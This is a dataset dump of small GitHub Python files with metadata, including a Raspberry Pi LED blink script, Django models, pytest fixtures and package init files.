| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
fd0b1e42db5253ced0ca1f6118da55ccb10f245d
| 675
|
py
|
Python
|
Scripts/blink.py
|
Pratyush-S/IOT_PROJECT
|
31ae27f0e9a76845205a657b83f8c2278ff5ec3b
|
[
"MIT"
] | null | null | null |
Scripts/blink.py
|
Pratyush-S/IOT_PROJECT
|
31ae27f0e9a76845205a657b83f8c2278ff5ec3b
|
[
"MIT"
] | null | null | null |
Scripts/blink.py
|
Pratyush-S/IOT_PROJECT
|
31ae27f0e9a76845205a657b83f8c2278ff5ec3b
|
[
"MIT"
] | null | null | null |
#blink.py to comment in python here to name the file
import time #time library
import RPi.GPIO as GPIO #gpio from rpi library
GPIO.setmode(GPIO.BCM) # broadcom
GPIO.setup(3,GPIO.OUT) #setting pin as output
GPIO.output(3,True) #pin 4 high
time.sleep(1) #wait 1 sescond
GPIO.output(3,False)
time.sleep(1)
GPIO.output(3,True)
time.sleep(1)
GPIO.output(3,False)
time.sleep(1)
GPIO.output(3,True)
time.sleep(1)
GPIO.output(3,False)
time.sleep(1)
GPIO.output(3,True)
time.sleep(1)
GPIO.output(3,False)
time.sleep(1)
GPIO.output(3,True)
time.sleep(1)
GPIO.output(3,False)
time.sleep(1)
GPIO.output(3,True)
time.sleep(1)
GPIO.output(3,False)
#use loop for this bs
| 19.852941
| 55
| 0.728889
| 130
| 675
| 3.784615
| 0.3
| 0.243902
| 0.268293
| 0.284553
| 0.550813
| 0.550813
| 0.550813
| 0.550813
| 0.550813
| 0.550813
| 0
| 0.043919
| 0.122963
| 675
| 34
| 56
| 19.852941
| 0.787162
| 0.238519
| 0
| 0.851852
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.074074
| 0
| 0.074074
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
fd1521edb21b4006b6743499ee477303f075cf51
| 67
|
py
|
Python
|
admanagerplusclient/__init__.py
|
barce/admanagerplustclient
|
68f1f6fb56c7234187a1c74ef9e7e1599741d6d8
|
[
"MIT"
] | null | null | null |
admanagerplusclient/__init__.py
|
barce/admanagerplustclient
|
68f1f6fb56c7234187a1c74ef9e7e1599741d6d8
|
[
"MIT"
] | null | null | null |
admanagerplusclient/__init__.py
|
barce/admanagerplustclient
|
68f1f6fb56c7234187a1c74ef9e7e1599741d6d8
|
[
"MIT"
] | 3
|
2017-05-30T17:56:47.000Z
|
2022-03-15T09:01:58.000Z
|
#!/usr/bin/env python
from admanagerplusclient import ampclient
| 11.166667
| 41
| 0.791045
| 8
| 67
| 6.625
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.134328
| 67
| 5
| 42
| 13.4
| 0.913793
| 0.298507
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
fd21cd81955738b1e8af2a50438834d88f59627e
| 796
|
py
|
Python
|
home/models.py
|
debajyotiroyc/Travel_Website_Django
|
15048126aa63b254b4c4a528bd0189af1602c27b
|
[
"MIT"
] | null | null | null |
home/models.py
|
debajyotiroyc/Travel_Website_Django
|
15048126aa63b254b4c4a528bd0189af1602c27b
|
[
"MIT"
] | null | null | null |
home/models.py
|
debajyotiroyc/Travel_Website_Django
|
15048126aa63b254b4c4a528bd0189af1602c27b
|
[
"MIT"
] | null | null | null |
from django.db import models
from django.contrib.auth.models import User
# Create your models here.
class profile(models.Model):
user=models.OneToOneField(User,on_delete=models.CASCADE)
Country=models.CharField(max_length=50)
State=models.CharField(max_length=50)
#Destination= models.CharField(max_length=50)
def __str__(self):
return self.user.username
class Details(models.Model):
name=models.CharField(max_length=122)
email = models.CharField(max_length=122)
quantity=models.IntegerField()
country=models.CharField(max_length=122)
city=models.CharField(max_length=122)
Dcountry = models.CharField(max_length=122)
Dcity=models.CharField(max_length=122)
def __str__(self):
return self.name
| 27.448276
| 61
| 0.717337
| 102
| 796
| 5.421569
| 0.382353
| 0.244123
| 0.292948
| 0.390597
| 0.531646
| 0
| 0
| 0
| 0
| 0
| 0
| 0.036866
| 0.182161
| 796
| 28
| 62
| 28.428571
| 0.812596
| 0.085427
| 0
| 0.111111
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.111111
| false
| 0
| 0.111111
| 0.111111
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
b5cba5f217a9d2dc5e4e58d00deff9afcd2cf488
| 61
|
py
|
Python
|
tensor_rl/experiments/__init__.py
|
umd-huang-lab/reinforcement-learning-via-spectral-methods
|
c7bd04d7eea6869807ed70af76960dcc542b0a82
|
[
"MIT"
] | null | null | null |
tensor_rl/experiments/__init__.py
|
umd-huang-lab/reinforcement-learning-via-spectral-methods
|
c7bd04d7eea6869807ed70af76960dcc542b0a82
|
[
"MIT"
] | null | null | null |
tensor_rl/experiments/__init__.py
|
umd-huang-lab/reinforcement-learning-via-spectral-methods
|
c7bd04d7eea6869807ed70af76960dcc542b0a82
|
[
"MIT"
] | null | null | null |
from tensor_rl.experiments.ExperimentClass import Experiment
| 30.5
| 60
| 0.901639
| 7
| 61
| 7.714286
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.065574
| 61
| 1
| 61
| 61
| 0.947368
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
b5f663409feae70c6d7801a213163311d0145150
| 157
|
py
|
Python
|
blog/modules/blogs/__init__.py
|
feel-easy/flask_blog
|
dd4f9b1bec85e32fa4080f638e2b7034ad16ef4c
|
[
"Apache-2.0"
] | 1
|
2019-03-19T11:00:44.000Z
|
2019-03-19T11:00:44.000Z
|
blog/modules/blogs/__init__.py
|
feel-easy/flask_blog
|
dd4f9b1bec85e32fa4080f638e2b7034ad16ef4c
|
[
"Apache-2.0"
] | 6
|
2021-03-18T22:44:46.000Z
|
2022-03-11T23:42:59.000Z
|
blog/modules/blogs/__init__.py
|
feel-easy/flask_blog
|
dd4f9b1bec85e32fa4080f638e2b7034ad16ef4c
|
[
"Apache-2.0"
] | null | null | null |
from flask import Blueprint
# 创建新闻模块的蓝图对象
blog_blue = Blueprint('blog_blue', __name__, url_prefix='/blogs')
# 把使用蓝图对象的文件,导入到创建蓝图对象的下面
from . import views
| 17.444444
| 65
| 0.77707
| 19
| 157
| 6.052632
| 0.736842
| 0.13913
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.127389
| 157
| 8
| 66
| 19.625
| 0.839416
| 0.22293
| 0
| 0
| 0
| 0
| 0.12605
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0.666667
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
|
0
| 5
|
bd18e12201ab55a141e0e37a9ab9d0317d9be782
| 161
|
py
|
Python
|
blitzdb/backends/file/__init__.py
|
marcinguy/blitzdb3
|
8b8bca02b205d7ff33d3902e5abb166e10a7b624
|
[
"MIT"
] | 3
|
2019-10-22T04:25:54.000Z
|
2021-01-23T17:25:48.000Z
|
blitzdb/backends/file/__init__.py
|
marcinguy/blitzdb3
|
8b8bca02b205d7ff33d3902e5abb166e10a7b624
|
[
"MIT"
] | null | null | null |
blitzdb/backends/file/__init__.py
|
marcinguy/blitzdb3
|
8b8bca02b205d7ff33d3902e5abb166e10a7b624
|
[
"MIT"
] | 1
|
2022-03-01T12:46:46.000Z
|
2022-03-01T12:46:46.000Z
|
from .backend import Backend
from .index import Index, NonUnique, TransactionalIndex
from .queryset import QuerySet
from .store import Store, TransactionalStore
| 32.2
| 55
| 0.838509
| 19
| 161
| 7.105263
| 0.473684
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.118012
| 161
| 4
| 56
| 40.25
| 0.950704
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
bd3fc8501fd14206ecc8aab3fd40cfc813589319
| 1,064
|
py
|
Python
|
tests/conftest.py
|
465b/General-Ecosystem-Modeling-Framework
|
a0b19edcd50a8c351cf616024ce832d3546d90bc
|
[
"BSD-3-Clause"
] | 1
|
2020-03-18T12:02:55.000Z
|
2020-03-18T12:02:55.000Z
|
tests/conftest.py
|
465b/General-Ecosystem-Modeling-Framework
|
a0b19edcd50a8c351cf616024ce832d3546d90bc
|
[
"BSD-3-Clause"
] | 41
|
2020-04-23T16:59:22.000Z
|
2020-06-03T12:01:59.000Z
|
tests/conftest.py
|
465b/General-Ecosystem-Modeling-Framework
|
a0b19edcd50a8c351cf616024ce832d3546d90bc
|
[
"BSD-3-Clause"
] | 1
|
2020-07-09T14:39:57.000Z
|
2020-07-09T14:39:57.000Z
|
import nemf
import pickle
import pytest
def load_model(pkl,folder='tests/pickles/'):
path = folder+pkl
with open(path,'rb') as f:
model = pickle.load(f)
return model
## YAML
@pytest.fixture
def model_minimal_yml():
return nemf.model_class('tests/test_models/minimal_model_example.yml')
## PICKLES
@pytest.fixture
def model_npzd_osci_pkl():
return load_model('test_NPZD_osci.pkl')
@pytest.fixture
def model_npzd_stable_pkl():
return load_model('test_NPZD_stable.pkl')
@pytest.fixture
def model_npzd_osci_refed_pkl():
return load_model('test_NPZD_osci_refed.pkl')
@pytest.fixture
def model_npzd_stable_refed_pkl():
return load_model('test_NPZD_stable_refed.pkl')
@pytest.fixture
def model_minimal_pkl():
return load_model('test_minimial_model.pkl')
@pytest.fixture
def forward_osci_pkl():
return load_model('test_NPZD_osci_forward.pkl')
@pytest.fixture
def inverse_osci_SLSQP_pkl():
return load_model('test_NPZD_osci_inverse_SLSQP.pkl')
@pytest.fixture
def inverse_osci_trust_pkl():
return load_model('test_NPZD_osci_inverse_trust.pkl')
| 20.075472
| 71
| 0.796992
| 166
| 1,064
| 4.73494
| 0.210843
| 0.103053
| 0.183206
| 0.183206
| 0.664122
| 0.591603
| 0.399491
| 0.180662
| 0
| 0
| 0
| 0
| 0.092105
| 1,064
| 52
| 72
| 20.461538
| 0.813665
| 0.011278
| 0
| 0.257143
| 0
| 0
| 0.248566
| 0.196941
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0.085714
| 0.257143
| 0.657143
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
1fc68ea482172f59b6b89669c1d29393542403cd
| 259
|
py
|
Python
|
python/lambda.py
|
waytai/open
|
00fc6891a8fe8e7dc84067ebea8e69895e14e912
|
[
"BSD-2-Clause"
] | null | null | null |
python/lambda.py
|
waytai/open
|
00fc6891a8fe8e7dc84067ebea8e69895e14e912
|
[
"BSD-2-Clause"
] | null | null | null |
python/lambda.py
|
waytai/open
|
00fc6891a8fe8e7dc84067ebea8e69895e14e912
|
[
"BSD-2-Clause"
] | null | null | null |
#########################################################################
#-*- coding:utf-8 -*-
# File Name: test.py
#########################################################################
f = lambda x,y:x+y if x>0 and y > 0 else 0
print map(f,[3,4],[5,6])
| 37
| 73
| 0.239382
| 28
| 259
| 2.214286
| 0.75
| 0.064516
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.033898
| 0.088803
| 259
| 6
| 74
| 43.166667
| 0.228814
| 0.150579
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
1ff431bd6335b57f9849fc92f47eb70964be2838
| 304
|
py
|
Python
|
apps/odoo/lib/odoo-10.0.post20170615-py2.7.egg/odoo/addons/mail/tests/__init__.py
|
gtfarng/Odoo_migrade
|
9cc28fae4c379e407645248a29d22139925eafe7
|
[
"Apache-2.0"
] | 1
|
2019-12-19T01:53:13.000Z
|
2019-12-19T01:53:13.000Z
|
apps/odoo/lib/odoo-10.0.post20170615-py2.7.egg/odoo/addons/mail/tests/__init__.py
|
gtfarng/Odoo_migrade
|
9cc28fae4c379e407645248a29d22139925eafe7
|
[
"Apache-2.0"
] | null | null | null |
apps/odoo/lib/odoo-10.0.post20170615-py2.7.egg/odoo/addons/mail/tests/__init__.py
|
gtfarng/Odoo_migrade
|
9cc28fae4c379e407645248a29d22139925eafe7
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
import test_mail_followers
import test_mail_message
import test_mail_features
import test_mail_channel
import test_mail_gateway
import test_message_read
import test_message_track
import test_mail_template
import test_invite
import test_ir_actions
import test_update_notification
| 21.714286
| 31
| 0.878289
| 46
| 304
| 5.347826
| 0.413043
| 0.447154
| 0.341463
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.003623
| 0.092105
| 304
| 13
| 32
| 23.384615
| 0.887681
| 0.069079
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
9515c310847fc882fa7f4ae54cfa0c801ce5945c
| 214
|
py
|
Python
|
notfications/models.py
|
mintmarshmallow/nomadgram
|
d2bb5187cc349964c5403076eb07c84e5e3b1995
|
[
"MIT"
] | null | null | null |
notfications/models.py
|
mintmarshmallow/nomadgram
|
d2bb5187cc349964c5403076eb07c84e5e3b1995
|
[
"MIT"
] | 14
|
2020-06-05T20:25:24.000Z
|
2022-02-26T10:43:13.000Z
|
notfications/models.py
|
mintmarshmallow/nomadgram
|
d2bb5187cc349964c5403076eb07c84e5e3b1995
|
[
"MIT"
] | null | null | null |
from django.db import models
from django.utils.encoding import python_2_unicode_compatible
from nomadgram.users import models as user_models
# Create your models here.
class Notfication(models.Models):
pass
| 21.4
| 61
| 0.817757
| 31
| 214
| 5.516129
| 0.677419
| 0.116959
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005405
| 0.135514
| 214
| 9
| 62
| 23.777778
| 0.918919
| 0.11215
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.2
| 0.6
| 0
| 0.8
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 5
|
1f511fa2a12ce6bde3482fef1be83a89bd4326d3
| 59
|
py
|
Python
|
app/exceptions/__init__.py
|
Dbrown411/py-oct
|
e5b56344f864a8c00fe9ec1a00adbacfe833d27e
|
[
"MIT"
] | null | null | null |
app/exceptions/__init__.py
|
Dbrown411/py-oct
|
e5b56344f864a8c00fe9ec1a00adbacfe833d27e
|
[
"MIT"
] | null | null | null |
app/exceptions/__init__.py
|
Dbrown411/py-oct
|
e5b56344f864a8c00fe9ec1a00adbacfe833d27e
|
[
"MIT"
] | null | null | null |
from .logger import get_logger
from .IOExceptions import *
| 19.666667
| 30
| 0.813559
| 8
| 59
| 5.875
| 0.625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.135593
| 59
| 2
| 31
| 29.5
| 0.921569
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
1f52f9a54f84b9e5bfdd8b0e461f3f5b7a17cdf0
| 45
|
py
|
Python
|
projecteuler/problem16.py
|
errir503/AlDoesProjectEuler
|
46b0dfdbbf6250038af842c134275077d253ca0b
|
[
"BSD-2-Clause"
] | 3
|
2015-12-21T12:27:28.000Z
|
2021-07-07T08:11:22.000Z
|
projecteuler/problem16.py
|
asweigart/AlDoesProjectEuler
|
46b0dfdbbf6250038af842c134275077d253ca0b
|
[
"BSD-2-Clause"
] | null | null | null |
projecteuler/problem16.py
|
asweigart/AlDoesProjectEuler
|
46b0dfdbbf6250038af842c134275077d253ca0b
|
[
"BSD-2-Clause"
] | 3
|
2018-06-09T10:05:11.000Z
|
2021-07-07T08:11:23.000Z
|
print(sum([int(n) for n in str(2 ** 1000)]))
| 22.5
| 44
| 0.577778
| 10
| 45
| 2.6
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.131579
| 0.155556
| 45
| 1
| 45
| 45
| 0.552632
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
2f11d6ee3e7cf01e6dfa22368d206f18385db171
| 110
|
py
|
Python
|
rfidreader/exception.py
|
bcurnow/rfid-reader
|
0753b3f8517fecbcaebfe29c660f8e0d6d76fc8e
|
[
"Apache-2.0"
] | null | null | null |
rfidreader/exception.py
|
bcurnow/rfid-reader
|
0753b3f8517fecbcaebfe29c660f8e0d6d76fc8e
|
[
"Apache-2.0"
] | 1
|
2021-11-05T12:29:39.000Z
|
2021-11-05T15:37:03.000Z
|
rfidreader/exception.py
|
bcurnow/rfid-reader
|
0753b3f8517fecbcaebfe29c660f8e0d6d76fc8e
|
[
"Apache-2.0"
] | null | null | null |
class RFIDReaderException(Exception):
pass
class RFIDReaderTypeException(RFIDReaderException):
pass
| 15.714286
| 51
| 0.8
| 8
| 110
| 11
| 0.625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.145455
| 110
| 6
| 52
| 18.333333
| 0.93617
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 5
|
2f13132441be9521d59c66ca0681d2dec385e3e4
| 45
|
py
|
Python
|
tests/functional/pt_BR/__init__.py
|
staticdev/human-readable
|
1c3328560f9b8097e1bc3ec6fceefa486c264fd5
|
[
"MIT"
] | 5
|
2021-03-10T21:22:31.000Z
|
2022-03-23T04:38:07.000Z
|
tests/functional/pt_BR/__init__.py
|
staticdev/human-readable
|
1c3328560f9b8097e1bc3ec6fceefa486c264fd5
|
[
"MIT"
] | 59
|
2021-02-13T10:08:23.000Z
|
2022-03-14T19:43:55.000Z
|
tests/functional/pt_BR/__init__.py
|
staticdev/human-readable
|
1c3328560f9b8097e1bc3ec6fceefa486c264fd5
|
[
"MIT"
] | null | null | null |
"""Brazilian Portuguese functional tests."""
| 22.5
| 44
| 0.755556
| 4
| 45
| 8.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.088889
| 45
| 1
| 45
| 45
| 0.829268
| 0.844444
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
2f3f2e045b2f7314ac9ac3a35aa876115e6fa780
| 47
|
py
|
Python
|
BGlib/__version__.py
|
pycroscopy/BGlib
|
396a518cef3b2c663949f71fe4a2fce65d8f1679
|
[
"MIT"
] | null | null | null |
BGlib/__version__.py
|
pycroscopy/BGlib
|
396a518cef3b2c663949f71fe4a2fce65d8f1679
|
[
"MIT"
] | 8
|
2020-09-11T19:24:41.000Z
|
2021-05-28T21:15:00.000Z
|
BGlib/__version__.py
|
pycroscopy/BGlib
|
396a518cef3b2c663949f71fe4a2fce65d8f1679
|
[
"MIT"
] | 2
|
2020-09-11T20:08:58.000Z
|
2021-02-27T00:41:40.000Z
|
version = '0.0.3'
time = '2021-04-20 07:11:00'
| 15.666667
| 28
| 0.595745
| 11
| 47
| 2.545455
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.425
| 0.148936
| 47
| 2
| 29
| 23.5
| 0.275
| 0
| 0
| 0
| 0
| 0
| 0.510638
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
2f4652226ddb4f44bcf0dde7bd36f741f47f86b2
| 46
|
py
|
Python
|
bms/__init__.py
|
venkyr/lightning
|
5da1b5e2beda2585a1d34087e59082b5787c1123
|
[
"Apache-2.0"
] | null | null | null |
bms/__init__.py
|
venkyr/lightning
|
5da1b5e2beda2585a1d34087e59082b5787c1123
|
[
"Apache-2.0"
] | null | null | null |
bms/__init__.py
|
venkyr/lightning
|
5da1b5e2beda2585a1d34087e59082b5787c1123
|
[
"Apache-2.0"
] | null | null | null |
from .persist import *
from .parsers import *
| 15.333333
| 22
| 0.73913
| 6
| 46
| 5.666667
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.173913
| 46
| 2
| 23
| 23
| 0.894737
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
2f6c2956261b1eb3dd43aabbbd965d49e15796b5
| 75
|
py
|
Python
|
playstoredownloader/cli/__main__.py
|
AmirulAndalib/PlaystoreDownloader
|
58a74a9ab2749f932c32bc8204a3a323d115629e
|
[
"MIT"
] | 959
|
2017-08-23T09:21:16.000Z
|
2022-03-31T22:51:32.000Z
|
playstoredownloader/cli/__main__.py
|
AmirulAndalib/PlaystoreDownloader
|
58a74a9ab2749f932c32bc8204a3a323d115629e
|
[
"MIT"
] | 69
|
2017-08-24T10:33:29.000Z
|
2022-03-14T15:38:05.000Z
|
playstoredownloader/cli/__main__.py
|
AmirulAndalib/PlaystoreDownloader
|
58a74a9ab2749f932c32bc8204a3a323d115629e
|
[
"MIT"
] | 184
|
2017-10-31T09:10:03.000Z
|
2022-03-24T19:10:49.000Z
|
#!/usr/bin/env python3
from playstoredownloader.cli.cli import cli
cli()
| 12.5
| 43
| 0.76
| 11
| 75
| 5.181818
| 0.727273
| 0.210526
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.015152
| 0.12
| 75
| 5
| 44
| 15
| 0.848485
| 0.28
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
2f9035f76537c1ef56525200ca753c0107a3c82a
| 45
|
py
|
Python
|
src/arpwitch/exceptions/__init__.py
|
ndejong/arpwitch
|
40cf4ae283b2c29a3901da4e95e984cad7e3c441
|
[
"BSD-2-Clause"
] | 1
|
2018-04-19T09:27:23.000Z
|
2018-04-19T09:27:23.000Z
|
src/arpwitch/exceptions/__init__.py
|
ndejong/arpwitch
|
40cf4ae283b2c29a3901da4e95e984cad7e3c441
|
[
"BSD-2-Clause"
] | null | null | null |
src/arpwitch/exceptions/__init__.py
|
ndejong/arpwitch
|
40cf4ae283b2c29a3901da4e95e984cad7e3c441
|
[
"BSD-2-Clause"
] | null | null | null |
class ArpWitchException(Exception):
pass
| 15
| 35
| 0.777778
| 4
| 45
| 8.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.155556
| 45
| 2
| 36
| 22.5
| 0.921053
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 5
|
85f8579065fc44b608c8c40d7ab314fb41130d75
| 16,027
|
py
|
Python
|
tests/test_syslogger_udp.py
|
TheByteStuff/RemoteSyslog_Service
|
a46df0c561c9ed9b1e4b2e9ca458f13593883785
|
[
"MIT"
] | 6
|
2021-06-03T18:49:43.000Z
|
2021-09-19T12:40:31.000Z
|
tests/test_syslogger_udp.py
|
TheByteStuff/RemoteSyslog_Service
|
a46df0c561c9ed9b1e4b2e9ca458f13593883785
|
[
"MIT"
] | 2
|
2021-05-19T02:24:10.000Z
|
2021-06-29T14:47:15.000Z
|
tests/test_syslogger_udp.py
|
TheByteStuff/RemoteSyslog_Service
|
